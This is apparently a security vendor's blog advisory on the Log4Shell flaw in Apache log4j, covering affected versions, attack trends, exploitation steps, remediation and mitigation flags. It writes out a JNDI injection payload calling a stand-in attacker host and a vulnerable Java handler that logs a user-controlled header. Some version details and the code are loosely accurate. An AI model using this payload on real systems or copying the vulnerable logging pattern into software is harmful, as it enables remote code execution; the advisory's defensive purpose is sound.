blog

New 0 Day – RCE in Java Log4Shell package

A new Remote Code Execution (RCE) has been disclosed in the wild affecting the log4j library for java.

Affected Apache log4j Versions

Affected versions: below 2.14, latest version 2.17

2.0 <= Apache log4j <= 2.14.1 -> Now 2.17

Non-Affected Versions

The JDK Version greater than 6u211, 7u201, 8u191 and 11.0.1 are not affected according to this blog post

Blast Radious

Services in cloud-like: Steam, Apple iCloud, and apps like Minecraft have already been found to be vulnerable.

Background

Now the challenge a lot of organizations have is to understand which application is using (actively of not the vulnerable library).

The challenge of the risk is the popularity of the library. A CVE has been recently registered linked to this vulnerability: CVE-2021-44228 

A Tweet with the PoC was added recently before the CVE-2021-44228  was published

https://twitter.com/P0rZ9/status/1468949890571337731

Marcus as well has expressed the opinion on why the vulnerability is bad

https://twitter.com/MalwareTechBlog/status/1469289471463944198?s=20

Impact

Several services are vulnerable to this exploit. Cloud services like Steam, Apple iCloud, and apps like Minecraft have already been found to be vulnerable.

Officially any system that runs apache with this library is vulnerable to this 0 day here is the official report from apache

The impact could be equivalent to the 2017 Equifax data breach. which spilled sensitive details for more than 143 million US consumers.

Attack so far

Sites like greynose monitoring the attacks are detecting an uptake. For the latest update see here

another site popular with attacking and defenders shodan.io is detecting an uptake (103 at time of writing) of easily exploitable services

Attack – date 11/12/21 – 5PM GMT+1

Attack Escalated Quickly: Current Shodan view

No alternative text description for this image

Attack – date 10/12/21 – 5PM GMT+1

List of malicious payloads

payloads https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890

Attacking IP (Updated)

and ongoing list of malicious IP’s attempting CVE-2021-44228 Apache Log4j RCE
https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217

why is it a big deal:

The researchers like Marcus said the Java deserialization bug stems from Log4j making network requests through the JNDI to an LDAP server and executing any code that’s returned. The bug is triggered inside of log messages with the use of the ${} syntax.

Exploiting

Exploiting Steps

Requirements:

  • Server with Apache and log4j library
  • Endpoint with sniffing capablity (wireshark) and an endpoint with any protocol that allows to send an exploit string
  • log statement that enables the logging of the attacker string

Deployment

  1. Data get sent to the server (via any protocol like HTTP or HTTPS),
  2. The server logs the data with malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server),
  3. The vulnerability in log4j is triggered by the payload and the server makes a request to attacker.com via “Java Naming and Directory Interface” (JNDI),
  4. This response contains a path to the remote javafile (ex. http://second-stage.attacker.com/Exploit.class) wich is injected in the process,
  5. This injected payload trigger a second phase that enable the attacker to execute the RCE (hence the arbitrary code)

Security researchers have exploited those vulnerabilities over time. marshalsec project is one of many tools that demonstrates generating an exploit payload could be leveraged to deploy the vulnerability. You can refer to this malicious LDAP server for an example of exploitation.

For the full details on the exploit, LunaSec has a full detailed article

Example Vulnerable Code

import org.apache.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = Logger.getLogger(log4jExample.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
    
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);

    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

Remediation

As of 2021 December 10th, 2021, Version 2.15.0 was released. log4j-core.jar is available on Maven Central here, with [release notes] and [log4j security announcements].

Mitigation

The following discussion on Hacker News details some of the workaround available

The ‘formatMsgNoLookups’ property was added in version 2.10.0, per the JIRA Issue LOG4J2-2109 [1] that proposed it. Therefore the ‘formatMsgNoLookups=true’ mitigation strategy is available in version 2.10.0 and higher, but is no longer necessary with version 2.15.0, because it then becomes the default behavior [2][3].

If you are using a version older than 2.10.0 and cannot upgrade, your mitigation choices are:

– Modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files, see details at https://issues.apache.org/jira/browse/LOG4J2-2109

or

– Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application’s or stack’s classloading documentation to understand this behavior.

[1] https://issues.apache.org/jira/browse/LOG4J2-2109 [2] https://github.com/apache/logging-log4j2/pull/607/files [3] https://issues.apache.org/jira/browse/LOG4J2-3198

Other Mitigation

The modder and community came together to address streaming games like Minecraft.

The Spigot gaming forum said that Minecraft versions 1.8.8 through the most current 1.18 release are all vulnerable, as did other popular game servers such as Wynncraft. Gaming server and news site Hypixel, meanwhile, urged Minecraft players to take extra care.

As per Spigot Gaming Forum

Adding the JVM flag -Dlog4j2.formatMsgNoLookups=true neutralizes the threat for most Java versions. Spigot and many other services have already inserted the flag into the games they make available to users.

For more details refer to the full Ars Technica Article


How can we help

We are following the story very proactively and working with clients to help identify and automatically report and get alerted in the future on those vulnerabilities

to get more info reach out to us

Notification about Log4J/Log4Shell on the AppSec Phoenix Platform

List of application affected

node4j appsec phoenix detection remediation

Francesco is an internationally renowned public speaker, with multiple interviews in high-profile publications (eg. Forbes), and an author of numerous books and articles, who utilises his platform to evangelize the importance of Cloud security and cutting-edge technologies on a global scale.

Discuss this blog with our community on Slack

Join our AppSec Phoenix community on Slack to discuss this blog and other news with our professional security team

From our Blog

Explore ASPM’s role in modern application security, offering a panoramic view that extends beyond code vulnerabilities. This guide demystifies concepts like traceability, reachability analysis, and asset lineage, pivotal for securing digital assets. Learn how ASPM empowers organizations with actionable insights for precise vulnerability management. #Cybersecurity #ASPM #ApplicationSecurity
Francesco Cipollone
Explore the transformative role of ASPM in cybersecurity. Uncover how Application Security Posture Management aligns business and security objectives for effective vulnerability management and risk reduction. Discover Phoenix Security’s innovative approach to tackling the staggering challenge of CVEs with a strategic focus on prioritization. #ASPM #Cybersecurity #VulnerabilityManagement
Francesco Cipollone
Explore the critical insights into the latest container security vulnerabilities named leaky vessels, including CVE-2024-21626, CVE-2024-23651, CVE-2024-23653, and CVE-2024-23652, BuildKit flaws, with our comprehensive guide on mitigation strategies, best practices for application security, and tips for robust vulnerability management in Docker and Kubernetes environments. Stay ahead in securing your container deployments against potential threats with ASPM help
Francesco Cipollone

Jeevan Singh

Founder of Manicode Security

Jeevan Singh is the Director of Security Engineering at Rippling, with a background spanning various Engineering and Security leadership roles over the course of his career. He’s dedicated to the integration of security practices into software development, working to create a security-aware culture within organizations and imparting security best practices to the team.
In his role, Jeevan handles a range of tasks, from architecting security solutions to collaborating with Engineering Leadership to address security vulnerabilities at scale and embed security into the fabric of the organization.

James Berthoty

Founder of Latio Tech

James Berthoty has over ten years of experience across product and security domains. He founded Latio Tech to help companies find the right security tools for their needs without vendor bias.

Christophe Parisel

Senior Cloud Security Architect

Senior Cloud Security Architect

Chris Romeo

Co-Founder
Security Journey

Chris Romeo is a leading voice and thinker in application security, threat modeling, and security champions and the CEO of Devici and General Partner at Kerr Ventures. Chris hosts the award-winning “Application Security Podcast,” “The Security Table,” and “The Threat Modeling Podcast” and is a highly rated industry speaker and trainer, featured at the RSA Conference, the AppSec Village @ DefCon, OWASP Global AppSec, ISC2 Security Congress, InfoSec World and All Day DevOps. Chris founded Security Journey, a security education company, leading to an exit in 2022. Chris was the Chief Security Advocate at Cisco, spreading security knowledge through education and champion programs. Chris has twenty-six years of security experience, holding positions across the gamut, including application security, security engineering, incident response, and various Executive roles. Chris holds the CISSP and CSSLP certifications.

Jim Manico

Founder of Manicode Security

Jim Manico is the founder of Manicode Security, where he trains software developers on secure coding and security engineering. Jim is also the founder of Brakeman Security, Inc. and an investor/advisor for Signal Sciences. He is the author of Iron-Clad Java: Building Secure Web Applications (McGraw-Hill), a frequent speaker on secure software practices, and a member of the JavaOne Rockstar speaker community. Jim is also a volunteer for and former board member of the OWASP foundation.

Join our Mailing list!

Get all the latest news, exclusive deals, and feature updates.